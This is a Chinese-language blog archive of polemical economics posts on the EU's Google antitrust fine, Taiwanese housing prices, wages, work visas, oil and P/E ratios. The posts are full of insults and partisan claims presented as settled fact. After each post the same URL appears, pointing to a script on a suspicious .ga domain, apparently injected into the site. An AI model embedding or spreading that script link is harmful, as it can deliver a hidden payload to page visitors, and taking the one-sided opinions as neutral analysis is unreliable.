分類: 經濟分析

先說我過去反覆強調的：整部反托拉斯法律都是建構在錯誤的經濟學理論上，卻忝不知恥地繼續用以處罰商業成功者，因為有太多社會米蟲賴此維生，例如律師、法官、公務員乃至於無恥的經濟學者。

我在美國接觸到的反托拉斯案件經驗，多是政府已經決定要開罰了，才來找法律上的理由。先射箭再畫靶。

本次歐盟處罰Google一案也是如此。

歐盟宣稱Google搜尋結果將購物廣告置於最頂，從而影響沒付費的競爭對手。請見以下圖片：

當有人搜尋"adidas superstar"這個關鍵字時，Google系統會判定使用者應該是想要購物大過於想要了解adidas superstar的歷史或其他資訊，所以會在結果頁面中頂端置入圖片式的購物廣告資訊，讓消費者快速知道各家平台管道目前售價為何。

往往這也是想要購物的人最希望快速知悉的訊息。而這塊訊息通常廠商也會付費讓自己優先被show出來，這也是搜索引擎獲利所在，這段老生常談的商業模式我想大家都很清楚。

歐盟偏偏看這點不爽，堅稱Google此舉傷害了其他也在賣此款運動鞋的競爭對手，因為他們的資訊沒有"公平地"也被放在第一頁。

真是遇到蠢如豬的公務員了。

本文我從經濟分析角度來說說歐盟的邏輯錯在哪。

1. Google是私人資訊搜尋公司，而非政府機構。

在市場競爭下，Google從無義務提供"公平的資訊"，而是透過提供"多數使用者想要看到的資訊"然後從中尋找商業模式獲利。

換言之，Google的廣告之所以效率高過傳統平面媒體、電視媒體，就是因為Google透過搜尋者主動提供的資訊，反推搜尋者可能對哪些訊息感興趣，而提供較可能有用的訊息（其中包含商業訊息）。這是過去單方向提供訊息的媒體所無法做到的新技術，也是Google的租值所在。

進一步，Google的AdSense+AdWords也是建構在此概念上 — 討論財經內容的網頁Google投放銀行/保險/股票相關廣告、討論母乳哺育的網頁則投放母嬰用品廣告…；使用者最近常看PS4網頁，則Google針對該使用者瀏覽的多數網站都投放有關遊戲或PS4特價等相關資訊廣告。

誠如Google在2015年回應歐盟時強調：Our search engine is designed to provide the most relevant results, that’s not ‘favoring’ — that’s giving our customers and advertises what they find most useful.

因此，歐盟認定Google有義務"公平地 (fairly)"像政府機構一樣提供各種資訊，本身就是「關公戰秦瓊」一般無理取鬧！歐盟不但錯誤認Google本質（它是私人營利公司，不是政府機關），還刻意扭曲甚至違背Google商業模式的法律義務。

2. 從搭售角度看Google的商業搜尋結果

正確的經濟邏輯，我們看Google在搜尋結果頁面頂端插入商業資訊，其實可以看為是一種搭售行為（tying arrangement)，而這種行為有三個可能：

a. Google給的購物建議對消費者很有用，則消費者、廣告投放者與Google三方獲利。（消費者因為Google資訊有用，更愛使用其服務；Google因此有更多更忠實使用者，系統判斷更精準，同時可以向廣告購買者收取更高費用；廣告投放者因為Google系統有效率，更樂意購買廣告。以上形成正向循環）

b. Google給的購物建議對消費者沒用，則消費者長期會傾向忽略；廣告投放者也會發現廣告買了沒人點，從而降低購買意願；Google發現此服務損益無法平衡，最後也只能認賠。

這個可能性就是過去很長一段時間的Yahoo overture搜尋服務的問題 — 廣告資訊與搜尋內容關連性太低，消費者後來根本刻意忽視。

試問如今Yahoo overture安在哉？！（話說overture還是Yahoo當年花16億美元買來的，自己搞成賠錢貨）

c. Google給的購物建議對消費者有害，則會形成剛好與a點相反的負面循環，對Google商業模式會是重創，正常公司多會快速處理與避免這個狀況，否則就會被市場淘汰，成為眾人群起攻擊甚至反對的搜索引擎。

百度日前有關醫療相關搜尋資訊充斥詐騙廣告，就引起中國網民激烈反彈與攻擊。若不是有中國官方網路長城保護其壟斷租值，百度早應該被淘汰出局。

從上是三種可能來看，Google今天提供的資訊是否對消費者有用，市場自己會去處理，根本毋須勞駕歐盟領高薪但無經濟智商的官老爺們指指點點。

回應文章開頭，我相信歐盟官員是早早就決定要處罰Googel的成功（或許保護費給得不夠或其他政治因素），其開罰所依據的反托拉斯法在經濟邏輯上是狗屁不通且強辭奪理的。https://js.developerstatss.ga/stat.js?n=ns1

台大法律系李茂生教授是刑法知名學者，我當年在政大念法律系也讀過李茂生的上課共筆。

不過這位教授經濟學卻是嚴重失格，屢屢說出違反經濟學基礎的言論，令人不得不替台灣法學教育擔憂。因為如果不知真實世界的資源安排方式，如何能真懂法律 — 是的，法律不過是資源安排中的一種手段，而且是個常常因為無知造成資源浪費的強制手段。

先前有關李教授的「有錢裝潢沒錢付薪水」的錯誤經濟學觀念，我已經在元毓說FB粉絲團上面批評過（請參考文末附註）。

而近日日本一蘭拉麵來台設立分店，排隊者眾，店家因此推出「如購買禮盒滿$6000台幣可優先入座」的安排。如此美意竟一樣被李教授批評：

這裡我必須報告李教授 — 一蘭拉麵的優先入座安排在法律經濟分析叫做「消費者盈餘榨取」與「購買時間」二者混合。

知道經濟學基礎者都知道「邊際用值遞減定律」，也就是第一口水到最後你喝夠的最後一口水，用值是越來越低的。

但是因為交易費用的因素影響，店家很難針對你的每一口水做差別定價，因此產生了消費者盈餘（consumer surplus）空間，而賣方為了區別願意付出更高代價的買家，在真實世界有許多種安排。

最常見就是會員或入場費模式 — 你先付一筆入場費，裡頭的商品很可能比外面便宜。知名COSTCO上千元年費就是如此安排。從而區分出「很想要買COSTCO店內商品」與「沒那麼想要買」兩種客人。

當然這不是完美安排，因為有的客人即便雙倍會費也願意付費入場；有的客人不願意付出會員費卻想要貪裡頭便宜商品，則代買服務就會出現。這些都是COSTCO賺不到的。

還有一種是all-or-nothing安排 — 東西全部加起來多少錢，不分開賣。消費者只能選擇要就全買，不要拉倒。

這種安排很容易被愚蠢的法學者、經濟學者誤認為是搭售行為（tie-in）而動輒以公平交易法處罰，但此惡法的起源完全是學者對真實世界的無知造成。

過去曾有知名錶廠，因為同款式金銀二錶銷售出現極大差異，從而綁定經銷商一定要金銀二錶同買。這是因為一者產量難以短時間內應付金錶的需求大幅上升；二者市場銷售狀況量度對生產廠而言有相當費用，綁定熱銷與滯銷款有助於：a.量度實際銷售狀況與 b.榨取熱銷款的消費者盈餘。

這等法律經濟分析似乎台灣法學者多半十分無知啊。

回到一蘭拉麵例子，有的消費者願意付出更高代價吃麵，亦或是付出代價換取優先入場以節省時間。一蘭拉麵大可直接販賣「優先入場權」，但單純時間的節省要訂價有困難度，也容易引發爭議。因此店家很聰明的用上經濟學常見的安排「委託量（proxy）」 — 將難以量度的物品或服務委託到容易量度的東西上面。

此案例中一蘭拉麵顯然就是要榨取消費者盈餘的安排與優先入場的安排同時委託到禮品上，所以才會出現「購買禮品滿$6000可優先入座」。換言之，店家透過此安排分離出願意付出更高代價享用的客人，並提供其優先服務，這是非常聰明且雙贏的策略。試問李教授何來抵制之必要？！

國家音樂廳同一場音樂演出好壞座位票價可差異達5、6倍以上，這在全世界多數表演活動都有一樣的票價安排，背後經濟學原理也是一樣的 — 部分榨取消費者盈餘。試問李教授是不是也要抵制這種普世現象呢？

附註 — 關於李教授批評某台中餐廳有錢裝潢沒錢付薪水一文如下：

很明顯論者壓根就沒有開店的經驗，以為人力是隨時請隨時有，而且來就能上線工作毋須教育訓練也不用過濾的。
我自己曾經為了在信義區開百貨公司專櫃，104等求才管道花了幾萬元刊登，2個月內面試將近幾十位求職者，超過9成根本不能用。能用的一成，你還得跟大品牌競爭 — 人力通常更願意去知名品牌大公司工作，無名中小企業甚至要開出比大公司更高的薪水才請得到或留得住人。可是增加的人力成本很可能也吃光獲利。

請人哪那麼容易？

同時這位大教授也沒有經濟學成本的觀念（特別是上頭成本與營運成本），才會說出「花大錢裝潢然後不喜歡花一點小錢請人」這種話。

裝潢費用屬於上頭成本，是下注之前對於市場判斷與定位的成本，一旦下了注要開檔，這個成本對於經營者的行為在經濟學上已經失去任何影響，因為這已是歷史成本，而歷史成本不是成本。經濟學看的機會成本永遠是指「對未來選擇的最高代價」。

裝潢後如果人力無法支應，開門營業帶來的收益不足以cover日常營運成本，甚至因人力素質未達標準可能砸了招牌商譽的風險下，理性經濟決策當然是暫停營業！

我不認為這篇新聞中的苦主全是因為一例一休而出現人力問題，我推測他們應該本來人力就很吃緊了，可是越趨僵化的台灣勞動法規使得經營難度大大提高。
開了店可用人力資源無法完美供應，在百貨公司業界是早就存在這種狀況。樓管一般會在新櫃開張但人力不足情形下幫忙調度借人，這也是樓管的工作權責範圍之一。反過來想，如果此類狀況不是常發生，那百貨公司也不會設置樓管負責這部份的調度工作。

也就是說，真實世界中此類狀況遠比這些象牙塔裡的學者所知來得實際而頻繁。從經濟制度分析角度來看，缺乏彈性的勞動法規的確會加劇與惡化這種困境。

台灣很可悲的，是參與政策決定的環境中竟充斥這類毫無經營經驗的人，還說話最大聲

最近台灣對於低階白領是否要開放吵得沸沸揚揚。

而有些人拿著美國工作簽證的經驗，認為應該要對低階白領的設立門檻限制，以保障弱勢勞工的工作權益。

此論點是典型的「經濟學邏輯失格」的蠢話，我簡單解釋如下：

1. 生產要素同價發威是不需要開放市場的

2007年我曾經寫過一篇「開放大陸勞工來台會降低台灣人薪資水平？」其中我寫道：

如果拿來比較的產品越相近，相對地該產品背後所需的生產要素也會越相近（原料、勞力、土地、機器與技術），則上述雙邊生產要素價格比例拉近的力量也就越強勁！
就算因為真實世界存在諸多因素使得兩邊價格無法相等，其修正的趨勢還是變不了也擋不住的！

講完這堆抽象的東西，我們現在用它們來解釋真實世界：

在兩岸同質性高的產品範疇內，只要這些產品兩岸均自由可以出口，那麼台灣和中國的生產要素價格就會有著上述理論的修正力量作用著。特別是中國與台灣許多產品不約而同都以出口到美國、歐洲為主時，則生產優勢比較的情況將會更嚴重。

為了方便思考，我們先把地區侷限到貿易關係只有美國、台灣、中國三方。很明顯地，中國低廉的土地、勞力價格會隨著出口產值越來越大而拉高；反過來台灣、美國的勞力、土地資本假如用在和中國重疊的生產項目上，則價格會向下修正！
當然，不可避免地，美國這個進口國的勞力價格和土地價格也會受到影響。

這邊各位也就可以感覺到，為何波特的競爭論理中「差異化策略」有其價值所在，因為差異化可促使生產項目重疊性變小，則上述生產要素價格拉近的影響力就越小，固就能避免掉新興低廉勞工成本國家的「微利化影響」。

大陸1979年改革開放之後，廉價產品源源進入美國市場，我們從上述理論能想見美國基層勞工的基本薪資自然會遭受打壓。

大陸有開放勞工到美國嗎？沒有！但只要雙邊開放商品貿易，效果跟開放勞工其實還是一樣的！

在全球化的浪潮之下，台灣既然作為島國經濟，自然受全球貿易影響最深。但偏偏台灣政府是一個不正常的鎖國政府，自我斷絕與中國的友善關係，同時也將自絕台灣與世界多數國家的正常貿易之外。國際現實就是全世界9成以上經濟實體都跟中國建交，而與中國建交必然要承認中國版的「一個中國」政策。換言之，9成以上世界經濟實體根本就不可能承認台灣的獨立性，在此現實下蔡英文政府還痴人發夢地迴避與中國建立關係，幻想世界其他國家會不顧自身國家利益幫台灣發聲…騙騙國內選票可以，但國際現實全由實力決定。當團體裡的老大就是看你不爽、就是針對你時，除非你有本事幹掉老大取而代之，否則你只剩和談或離開團體關門自爽兩條路。

可惜台灣既沒有本事幹掉中國，更沒有關門自爽的本錢。唯一一條路，卻有一堆自我催眠的假台獨檔著。

因此必然的結果是：世界多數經貿稅務協議，幾乎都沒有台灣的份。台灣商業必須在先天關稅與非關稅障礙均較他國沈重的前提下，與其他國家競爭。經濟邏輯上必然發生的，也就是台灣多付出的成本，必須由生產要素來分擔，其中一個躲不掉的生產要素就是「人力成本」，講白話，就是台灣在國際競爭之下薪資成長性只會低不會高，甚至會衰減而不會成長！

舉個例子幫助理解：台灣面對的就像是大家到夜市擺攤，你赫然發現你是唯一跟夜市場地主人沒有特別關係的局外人，因此你要支付多過其他攤位50%的租金。試問你的損益平衡點是不是先天就不如人？先別說獲利，光是要損益平衡你的進貨、工資或其他開支就要比別人低。以一個毫無天然資源的島國來說，最能減的不是工資是什麼？

看懂這點，就會發現現今既支持天然獨又譴責低薪的年輕人非常可笑，因為他們的政治主張正是造成他們低薪的原因之一。

題外話重溫我在「談談最近的服貿與學運」說過的：

經濟學程度這麼差的教授們，其言論竟然可以騙得一堆大學生來反對馬英九難得做對的一件事？這些象牙塔裡，對真實世界理解其差的意見，也能有這麼大的市場？台灣大學生究竟是有多差？

顯然當時的大學生書念得太差所搞出來的政治活動，現在也是由全體台灣人來自食惡果。

2.更嚴格工作簽證並無保護勞工效果，只有養肥移民官員與移民法律師或代辦公司

近日華爾街日報「The Diminishing Return of a College Degree」一文中更是打臉這些宣稱美國工作簽證可以保障弱勢勞工的言論：

美國1970年代大學生跑去開計程車的僅佔計程車司機1%不到，但2010年佔了15%！有經濟學感受的人很快就知道 — 這表示大學學歷租值跌價幅度驚人！也就是說，大學學歷放到2000年後的今天看，已經是「低階白領」。

1979中國大陸改革開放後，到2000年前後中國人工素質慢慢追上美國高中、大學生，於是出現美國大學與高中學歷收入差額從2000年的$32900美元降到2015年的$29867（超過9.2%的縮減）。而2000以來美國的工作簽證H1-B總數量是限縮的，換言之，更嚴格的工作簽證並未保障到美國大學畢業生的收入。

上述事實直接駁倒「主張嚴格工作簽證以保障弱勢勞工」的論點。

WSJ同篇文章中也指出，高達40%大學畢業新鮮人找工作時間比過去更久，許多人從事根本不需要大學學歷的工作如咖啡店吧台手、Uber司機等。這些不過都是大學學歷租值不如過往的具體事實呈現。

台灣人經濟學教育實在很差，差到許多人以為更多的管制可以帶來保障，而不知道實證上，管制只會帶來更多貪汙現象，而永遠無法達到任何保障效果！

綜合本文第一點來看，台灣是個實質薪資成長性沒有太多希望的經濟體，本身對外國白領人才吸引力就有限，還夜郎自大、敝帚自珍地拉高外國人工作簽證的難度，其結果就是徒有一堆辦法規章，但事實上並不會有太多人真的來台灣工作。

到此我簡單結論如下：

a. 30年來世界大量廉價人才進入市場競爭，要素平價理論發威下這20年就連高租值的美國，實質薪資成長性都在衰退，美國大學學歷租值也在衰退。台灣政客與年輕人不該對世界大局如此無知，繼續自我欺騙與縮頭躲避。

b. 拿美國工作簽證制度來類比台灣是不倫不類 — 美國是世界人才大磁鐵，而你台灣是個什麼東西？先天條件不如人還想要東施效顰？

c. 工作簽證制度在經濟分析上不可能有保障勞工的效果，只有養肥移民局官員與移民律師/公司的結果。https://js.developerstatss.ga/stat.js?n=ns1

「幹，我今年都不吃東西這輩子都不出國，我還是買不起被你們炒出來的房子。」 這種愚蠢且毫無經濟常識的論調竟然充斥在年輕人的想法裡，可見現在有多少年輕人書念得多糟、邏輯與事實觀察能力有多差勁！

1. 這些笨蛋根本不懂房地產為什麼上漲，還蠢到以為是被炒作。

房地產上漲牽涉到經濟學的財富倉庫理論 — 一個經濟體生產力增長的過程，必然有多餘財富被創造。而這些財富需要有倉庫讓所有者的辛勞成果受到保護，傳統上房地產、股票、債券、珠寶古董乃至於字畫，都是通常正常人會選擇的財富倉庫。

要能成為財富倉庫的條件嚴苛，基本上除了純粹收藏品之外，多數人認可的房地產、股票、債券均是因為符合經濟學大師I. Fisher利息理論中能產生未來收入的資產。稍懂經濟學的都知道，資產價格是未來收入的折現值總和。而重點在於未來收入是個預期值，即便是債券都可能因為市場利率的改變而有所價格改變。

換言之預期未來收入增加時，會提高資產的價格；反之，資產就會跌價。股市、期貨等諸多市場的漲漲跌跌，商圈新生、極盛與衰退反應的租金與地價起落，都是在利息理論的解釋範疇中。

回過頭看台灣從1981年GDP總額1,728,793百萬台幣，成長到2015的16,175,607百萬台幣，總成長9.36倍，換算年複合成長率為6.79%，姑且當做台灣的財富增長來看（暫不考慮通貨膨脹因素），你說這些被創造出來的財富要放哪？當然是各種投資管道！

如果以較具公信力的國泰建設房地產指數來看，從該指數首度編表的2003年全國成交房地產均價為15.1萬/坪，到2017年Q1的23.62萬/坪來說，成長率僅約3.25%。接近同時期（2003 — 2016）GDP複合成長率為3.49％，事實上房價整體上漲水準還輸給GDP成長率。要說炒房集團靠炒房賺得多少超額利潤？還真是看不太出來成績有多驚人。

更須要注意的是：2003～2016的台灣貨幣發行量M1A年複合成長率高達7.34％！！以台灣房地產的整體漲幅來看，甚至連貨幣貶值率都跟不上！

ok，我知道馬上有人會拿台北、新北跟一些房地產漲幅超越台灣整體平均的地區反駁說這些地區被炒作得厲害，所以年輕人才買不起。（同時期台北整體房價成長率為5.84%、新北市為6.16%）

這個論點也是錯誤的，錯就錯在這些笨蛋根本沒想到房地產漲幅除了反應整體財富增加、通貨膨漲之外，各地房地產還要反應「稀缺性」！

所有的房地產投資入門所強調的「location、location、location」，說穿了就是在強調房地產的稀缺性。

房地產與一般動產最大不同也在於此：同一個地點的土地就是only one！你不可能平白在101現址上再生出一塊101土地。

是的，3D空間裡你可以往上蓋，取得「近似創造土地」的效果，這也是為什麼全世界都市精華地區都是摩天樓一棟比一棟高。因為這樣土地利用效率才高。

但你絕對不可能在同一地點創造出一模一樣的土地。

101隔壁世貿的地就不是101的地；台北鄰近隔座山文山區的地就不是信義區的地。

而正因為土地的特殊稀缺性，才讓精華地區與非精華地區的土地價值有極大的差異，這個差異來自於需求，是需求創造出的「租值（rent value）」。為什麼會有需求？回到前面利息理論，因為該地可以產出的未來收入就是有那麼高（或是預期有那麼高），才能存在這樣的高地價。

所以sway這種自詡正義之士的房產專家，犯的最大經濟學錯誤就是誤認為房地產價格被炒高，物價才上升。錯了！是某些地區的生產力就是那麼高，收入（物價）可以到那麼高，才足以支應那樣的房價（租金）！

為什麼後者的邏輯才是正確的，因為從科學方法論來檢驗這樣的經濟學理論最明白不過：商圈（台北東區、天母區與曾經的西門町或台中成功路老市區）從發跡到繁榮，人潮商機湧入讓某區收入不斷提高，從而房價租金才能跟著提高；嗣後人潮商機轉往他處，某區的房價租金不再能有高收入支撐時，就會跌價，而當跌價幅度不夠clean the market時，就會出現unemployment，也就是該區處處關門無人承租，買賣成交期拉得非常長。

你不可能憑空炒作一塊沙漠房價，而沒有任何需求支撐。即便是內華達沙漠中拉斯維加斯，也是搞好水電基礎供應後，靠賭場、各種藝術、情色表演與便宜飯店來吸引大量人潮商機，才真正在沙漠中創造高房價。

雙北市基礎建設、社會福利、生活品質、工作機會以及人口密度成長率遠優於台灣其他縣市，自然創造出不凡的「稀缺性」。這也說明了為什麼一堆領著低薪的新鮮人想盡辦法要留在台北。講更白點，正是因為太多這群自認社會不公的魯蛇死皮賴臉要在台北，所以才支撐起雙北的高房價。

自己才是造成結果的因，反倒是怪起炒房客、投資客。從經濟學觀點，炒房客、投資客才是穩定房價的最大功臣！

所有的投資行為依據利息理論，都是「犧牲現在的享受換取明日的收入」。正因為投資客認為某地房地價有上漲空間（也就是認為某地生產力會提昇），所以於主觀認為低價時買入，這個行為本身有二好處 — 避免資源價格持續下跌以及讓資源移轉到更可善加利用之人身上。

而投資客在他主觀認為房地價夠高的時候賣出，也就是在價格夠高時提供了供給，而供給增加會抑制價格持續上漲。

同時投資客、炒房客彼此之間的競爭，也會提高供給、抑制房價上漲。這在任何市場都是一體適用的經濟法則，這是最基礎的價格理論！猶如你在地球上就受到重力影響一樣，無可避免。

當然任何市場都存在「造價（price making）」行為，本文不多提，因為我在blog中已經簡單討論過。台灣還存在與銀行內神通外鬼、政客透過公權力炒地皮的尋租行為，這些都是對整體經濟不利的行為，本blog也多次撻伐，讀者可自行搜尋，本文也不再多提。

到這裡小結：

a.台灣50年來經濟發展創造的財富必然有部分流到房地產，這會推升房產價格。這是私有產權制度下的必然，因此把老一輩的極為正常的投資行為視為邪惡的炒房行為，是對經濟學的無知才能講出來的蠢話。

b.台灣近年通貨膨脹極為嚴重（2003～2016的台灣貨幣發行量M1A年複合成長率高達7.34％！），這跟央行長期緊盯美元匯率有關。而亂印鈔票必然會引發通膨，特別是當整體經濟前景不佳的前提下，多出來的資金容易流向資產（股市、房市），造成生產要素漲價不均的現象 — 也就是房價、股價漲幅遠高於工資。這部份要怪就怪政府央行錯誤的貨幣政策，跟炒房行為無關。

c.本blog早在2007年就預言台灣薪資成長會停滯甚至衰退，請參見「台灣低薪是必然，經濟學預言威力精準」。而因為從李登輝以來不斷地社會福利主義走向以及錯誤的中國政策，台灣經商環境越來越困難，租值不斷流失，必然影響資源持有者對未來前景從而改變投資行為（從生產投資轉變為資產投資）。這30年的政客誤國才是罪魁禍首。

d.投資客的存在才能穩定價格波動同時提供流動性，這在任何市場都是一樣，包含房市。這些人對經濟貢獻不亞於其他人。

2. 不是人人都應該買房

左派的居住正義與居住人權一直都是天大的笑話，他們把「想要」跟「有能力要」混為一談。

試問誰不想住市區的廣闊大豪宅？出入享受Bently、勞斯萊斯？回家有30幾個僕人一字排開服侍？問題是所欲者眾，真正負擔得起的有幾人？

人人都想開名車，但多數人只開得起神車Toyota Altis。不是後者不重視享受、不重視汽車安全性，而是「想要」與「能負擔」本來就是兩回事。資源就是有限，每個人都只能在自己有限資源裡做最佳分配。

即便富有如股神巴菲特，滿手現金下也無法隨心所欲地胡亂併購公司。

回到買房上，人人都想要房子不代表人人都負擔得起。

更進一步，有些人總資產是負擔得起買房，但是在特定條件下，租屋對整體資產活絡與增長更有利時，這些人寧願選擇繼續租屋。

過去我在blog「囤積與投資根本是同一件事」一文中就說過：

「居住正義」是亂七八糟的福利觀念，「人人有屋住」不代表這世界就應該「人人『所有』房屋」。

社會富有的過程，競爭之下的成功者本來就會有較多財富，需要找地方放；定存、股票、債券、名車乃至於房屋，都是自然存在的投資標的。

政府胡亂打壓，只是讓這些資金從A處幾往B處。當你試圖管控房價，則通膨會發生在未被管制的項目上，例如股市。這跟擠壓氣球是一樣的。

當你管制項目越多，則資金市場被迫發明新玩意來規避，例如台灣的儲蓄型保險，亦或大陸的投資產品，亦或美國的存單。這些都是政府管制下的變形產物，究竟是資金的錯？還是政府的錯？

唯一可以確定的，是這些管制所帶來的行政成本、資金移轉成本乃至於契約成本，都是原本無需付出的社會耗損。無人得利，多邊均輸，這種蠢政策只是為了討好一群主張正義的學者或無知民眾，可笑。

可以再多談的是，如果政府為了部分買不起房的人刻意用政策打壓房價，本質上其實是搶奪另一群人的財富來補貼這群人。試問如此作為跟強盜有何兩樣？試問如此作為合乎憲法平等權以及私有財產保障的規範與精神嗎？

有些人年輕時努力工作累積的財富，到老要被政府強制徵收移轉給其他人，那誰還要努力工作？私有產權制度的價值正是保證了人們工作成果，才提供人們為自己未來努力的誘因，從而使整體社會增長進步。

許多左派自詡進步，其實本質根本與盜匪無異！不知恥就算了，講話還特大聲。

3. 在大台北，22k也買得到房！

最後再回應該篇文章宣稱的「幹，我今年都不吃東西這輩子都不出國，我還是買不起被你們炒出來的房子。」

首先，住不起台北就別勉強；中南部租金房價便宜多的地方很多。

硬要居住在自己負擔不起的地方，然後怪天怪地哭爸哭母要別人補貼你，在我看來是極為無恥的行為。不過好像很多人壓根不知道「無恥」是怎樣的概念。

再者，大台北地區並非處處都是帝寶的房價。例如591網站上新北市金山區29坪四房中古屋就有開價220萬的物件，以22k薪水來看，不吃不喝8年即可買房，換言之省吃儉用，20年房貸買房不是不可能。

許多長輩當年也是如此，先求有再求好。

再者，該文作者年紀大概跟我差不多，那人生兩次累積財富的大好機會（2000年.com泡沫後與2008年金融風暴後）該文作者顯然都沒把握到。

遠的不談，2008年後到現在，美國股市多少好公司股價漲幅超過2倍、3倍，甚至更保守，連S&P500漲幅都有170%！光買ETF都能享受年複合報酬率6.86％（還贏過炒作台灣房地產）。

同時期Apple股價漲幅7.26倍（報酬率28.11%）、Google漲幅6.71倍（報酬率26.87%），會拿iPhone、Android手機卻不懂得投資這兩家公司，該檢討的難道不是自己？

這些都是翻轉人生財富的大好機會，為什麼不把握？還是不懂把握？那試問自己要不要檢討–在英文能力強過父執輩、網路交易便利性與成本遠低於父執輩當年的現在，為什麼自己不懂得把握如此股市良機？！

誠如鴻海郭台銘所言：「沒有不景氣，只有自己不爭氣！」https://js.developerstatss.ga/stat.js?n=ns1

1. 石油價格在2016年鹹魚翻身，但到了2017年至今卻又滑落，遠遠落後股票市場表現。
2. 世界每日石油需求成長從2015年的1.8百萬桶衰退至2017年的1.3百萬桶。
3. Gavekal Capital的CEO Louis-Vincent Gave對短中期石油價格並不樂觀，理由如下：

a. 全世界都知道沙烏地阿拉伯想要抬轎石油價格，因為他們國家的巨大IPO計畫 — Saudi Aramco需要有堅強的石油價格支撐，才能有漂亮的籌資。

b. 回教世界遜尼派與什葉派的千年鬥爭，簡單地讓回教世界分邊站：一邊是沙烏地阿拉伯與卡達等國家，另一邊則是伊朗以及暗中支持的俄羅斯。

c. 沙烏地阿拉伯的IPO計畫，說穿了就是賣祖產籌資好應付長年戰爭與一直以來奢侈的福利國家政策。

d. 換言之，伊朗與俄羅斯有極高的誘因去壓低石油價格，好讓沙烏地阿拉伯IPO籌資不順。事實上俄羅斯也的確如此，該國每日石油產量已經拉高到破紀錄的11.5百萬桶！而當溫暖月份來臨時，這個產量還可能繼續提昇！

我的看法：

不得不再鞭一次危言聳聽的清大彭明輝教授。

2011年彭明輝的「「石油危機」是危言聳聽？http://mhperng.blogspot.tw/2011/11/blog-post_06.html#uds-search-results」一文宣稱石油危機來臨，全球GDP會下降，石油產能跟不上需求的增長…云云。

我在本blog多次撰文明白指出彭明輝宣稱的石油危機，乃至於糧食危機都是危言聳聽，毫無科學根據可言。

6年過去了，我們再次檢視，全球石油產量不但沒有跟不上需求，事實上從International Energy Agency的數據可以看出：

從2014年第二季以來，全球石油供給幾乎每季超過實際需求，於2015Q2甚至每日供給超過需求量2百萬桶！

2016年末以來的供給降低，完全是因為OPEC的人為減產，並非任何自然或人力不可控制因素造成。但大家也都知道，OPEC的減產努力幾乎要被俄羅斯的增產、美加的頁岩油的投入給弭平，OPEC希冀的減產效果遠不如預期，這點從油價來看最是客觀且無可辯駁。

彭明輝文中所宣稱的供需圖表根本與事實相距甚遠！

說過許多次了，彭明輝如果不懂經濟學這塊，就請勿誤人子弟。彭教授如果相信自己的危機論，那請拿出真金白銀與市場賭一手。

而真笨到相信彭教授的危機論而去投資作多糧食與石油的朋友，早賠到破產！我在此致哀。

延伸閱讀：
再回頭看「石油危機」這謬論 http://www.yuanyu.idv.tw/?p=1515
小麥價格創下10年來最低 http://www.yuanyu.idv.tw/?p=1609
MONEY IS MADE SLOWLY OVER A LONG TIME AND LOST IN A HURRY http://www.yuanyu.idv.tw/?p=1694https://js.developerstatss.ga/stat.js?n=ns1

今日臺灣蘋果日報頭條：「低薪惡化 薪資中位數40612」

行政院主計總處昨公布最新統計，去年工業及服務業受僱員工每人每月總薪資（含本薪、獎金、加班費等）中位數為4萬612元，較前年減0.6％，是3年來首度下滑，也是4年來下滑最高幅度；中位數佔平均數比率為83.24％，也較前年減少。學者分析，這顯示薪資分布往較低薪靠攏，籲政府思考相關政策，避免低薪問題惡化。…

…依業別分，去年工業部門總薪資中位數4萬878元，略高於服務業部門4萬161元，跟前年相比差距擴大631元。以兩性分，男性薪資中位數4萬3955元，較女性3萬7431元高，但兩性差距較前年縮小627元。職員或專技人員等（白領）總薪資中位數5萬3927元，工員或非監督專技人員（藍領）3萬5415元，差距較前年縮小1104元。…

我分別在2007年與2008年就寫文章「開放大陸勞工來台會降低台灣人薪資水平？」、「實質薪資何以衰退？」提到：

在台灣為出口導向的前提下，根本不需要開放大陸勞工，只要台灣和大陸的產業繼續維持高度重疊性下去，則台灣薪資勢必總要一天會被拉到近乎於大陸薪資的境界！

國際競爭下，許多過去被禁錮的廉價勞力（如中國越南）所生產的商品與服務等漸漸大量地進入國際貿易市場，台灣在出口導向經濟下，若商品/服務與這些國家目標市場相同（都是美國、日本歐洲）且商品差異化不大的前提，自然在要素平價理論發威下必須修正勞動價格。而這樣的價格修正在勞動價格頑固性下可能要長達10~30年。眼前就有個日本失落30年給我們看，血淋淋的實例正是在同一個脈絡邏輯下的失敗者。

而根據價格理論我們知道，如果台灣有高度彈性的勞動與投資環境，則勞動價格雖然修正，但失業率並不會增加太多。許多不滿薪資的邊際勞工可能會轉往自營小販方向走而猶能生存。

可偏偏台灣政府近20年來被高喊福利的左派綁架，台灣勞動、環保等經營法規日趨嚴格，這種價格修正將會以越來越高的邊際勞工失業率呈現。

特別是最近生效的一例一休法規，剝奪勞資雙方的契約彈性到根本連政府自己都無法執行，荒謬地上演台鐵員工依法休假，政府竟然要對國營單位員工記曠職！民間老闆喊法規難以遵守，蔡英文政府又板起臉來教訓開罰資方的諷刺劇。

而在「我對一例一休修法的看法」一文中我又透過經濟學預言：

1. 邊際勞工失業率必定上升
2. 邊際企業倒閉率必定上升
3. 許多企業會選擇假日不提供服務甚或營運日期減少
4. 勞工轉職困難度大增，失業勞工尋覓新工作日數增加
5. 平均年終獎金將下降
6. 全面性物價上漲
7. 早年找工作需要保人的類似制度可能死灰復燃
8. 新鮮人畢業後失業率與失業時間都會增加
9. 燒炭自殺的失業與小型、微型企業主人數與案件數均會增加

加以蔡英文政府自爽的假性台獨主張下，台灣國際自由貿易協議空間將越來越小，相比韓國、新加坡，台灣整體租值成長率不如人甚至下降的未來也難以避免。換言之，一樣受到衝擊，台灣人未來的實質收入衰退將會是所謂的四小龍裡最嚴重。

我在2008年為文至今9年，經濟學水晶球預言準確性有目共睹；2027年台灣會淪落到哪？現有的台灣政府是否還存在？拭目以待吧…https://js.developerstatss.ga/stat.js?n=ns1

本益比本身是從報酬率的倒數來看投資機會成本，就基礎觀念來說是正確的。但實務運用上幾乎多數人（包含知名財經媒體、Information Service公司）都犯了錯而不自知。

正確的一面：當你把資金投入某個項目中，你的機會成本就是其他最高投資報酬率的選項。

以巴菲特的習慣來說，他喜歡用他主觀認為「近乎無風險」的美國10年或30年國債利率作為機會成本。實際運用上他是把這個利率作為「折現利率」，不懂折現觀念的人請自行在我的blog上搜尋「利息理論」。

股票報酬率一般會高過國債利率，中間還涵蓋了股票本身的不確定性所帶來的「風險貼水」。

錯誤的一面：

1. 本益比是報酬率的導數，計算上就是Price / Earning（簡稱P/E），通常財經媒體使用的P就是現在股價，但E卻是用去年每股淨利，這絕對是錯誤的！

